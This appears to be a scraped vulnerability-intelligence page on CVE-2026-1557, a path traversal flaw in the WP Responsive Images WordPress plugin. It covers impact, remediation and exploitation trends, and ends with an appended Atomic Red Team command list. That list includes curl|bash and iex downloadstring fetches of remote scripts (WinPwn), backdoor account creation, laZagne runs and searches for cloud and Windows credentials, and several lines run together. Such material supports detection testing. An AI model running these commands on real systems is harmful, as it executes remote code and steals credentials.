CVE-2026-1557
Overview
This vulnerability is a Path Traversal (CWE-22) affecting the WP Responsive Images WordPress plugin. The root cause lies in insufficient validation and sanitization of the 'src' parameter within the image handling functionality. This flaw enables manipulation of file path inputs, allowing traversal beyond intended directories in the plugin’s file output and image handler components.
Vulnerability Description
The WP Responsive Images plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.0 via the 'src' parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to read arbitrary files on the web server, potentially exposing sensitive configuration files, credentials, or other confidential data. No user interaction or authentication is required, and the vulnerability is exploitable over the network (AV:N/AC:L/PR:N/UI:N). This can lead to data breaches and information disclosure impacting the confidentiality of the affected system.
Solution
Users should upgrade the WP Responsive Images plugin to a version later than 1.0 where this vulnerability is addressed. Detailed patch information and remediation steps are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/22c6f81b-d456-44b9-ba6c-8b207a9ee6e1. Reviewing the plugin source code changes in the referenced WordPress Trac repository can assist in verifying the applied fixes.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the WP Responsive Images plugin for WordPress is characterized by a path traversal flaw that allows unauthenticated attackers to manipulate the 'src' parameter. This exploitation can lead to unauthorized access to the server's file system, enabling attackers to read arbitrary files. Path traversal vulnerabilities arise when an application does not properly sanitize user input, allowing attackers to traverse directories outside the intended file structure. In this case, by crafting a malicious request, an attacker can gain access to sensitive files, including configuration files, user data, and other critical information stored on the server.
Attack vectors for this vulnerability are straightforward, as they rely on the manipulation of the 'src' parameter within the plugin's functionality. An attacker can send a specially crafted request to the server, including directory traversal sequences such as "../" to navigate the file system. For instance, an attacker could attempt to access sensitive files like "/etc/passwd" or WordPress configuration files, which may contain database credentials and other sensitive data. This type of exploitation does not require authentication, making it particularly dangerous, as it lowers the barrier for potential attackers and increases the likelihood of successful exploitation.
The real-world impact of this vulnerability can be significant, especially for organizations that rely on the WP Responsive Images plugin for their WordPress sites. Unauthorized access to sensitive files can lead to data breaches, exposing personally identifiable information (PII) or proprietary business data. The consequences of such breaches can include reputational damage, loss of customer trust, regulatory fines, and potential legal liabilities. Furthermore, the ability to read sensitive files may provide attackers with additional vectors for further exploitation, such as gaining access to administrative accounts or launching more sophisticated attacks against the server or its network.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the WP Responsive Images plugin to the latest version is crucial, as updates often include security patches that address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests that attempt to exploit path traversal vulnerabilities. Security monitoring tools should be deployed to detect unusual file access patterns, which may indicate an ongoing attack. Furthermore, server configurations should be hardened to restrict access to sensitive files and directories, ensuring that even if an attacker attempts to exploit the vulnerability, their access is limited.
In conclusion, the path traversal vulnerability in the WP Responsive Images plugin poses a significant risk to WordPress installations. The ease of exploitation and potential for severe consequences necessitate immediate attention from website administrators. By understanding the technical details, recognizing potential attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities in the future. Proactive measures, including regular updates and security audits, are essential to maintaining the integrity and security of web applications in an increasingly hostile digital landscape.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the WP Responsive Images plugin vulnerability (CVE-2026-1557). This surge is reflected in our telemetry by a significant increase in detection events and the emergence of an EPSS score exceeding 0.3, indicating growing attacker interest and potential for widespread exploitation. The updated CVSS score of 7.5 underscores the high severity of this path traversal flaw, which allows unauthenticated adversaries to access sensitive server files. Although no new exploit variants have been publicly disclosed, the rising exploitation trend suggests that threat actors are actively probing vulnerable WordPress environments, elevating the risk to affected organizations. Defenders should recognize this shift as an indication that the vulnerability is transitioning from theoretical risk to active exploitation, warranting heightened monitoring and prioritization within security operations.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpanuname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'busybox sh &echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutputiex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutputiex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractiveiex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractiveiex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutputDetection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.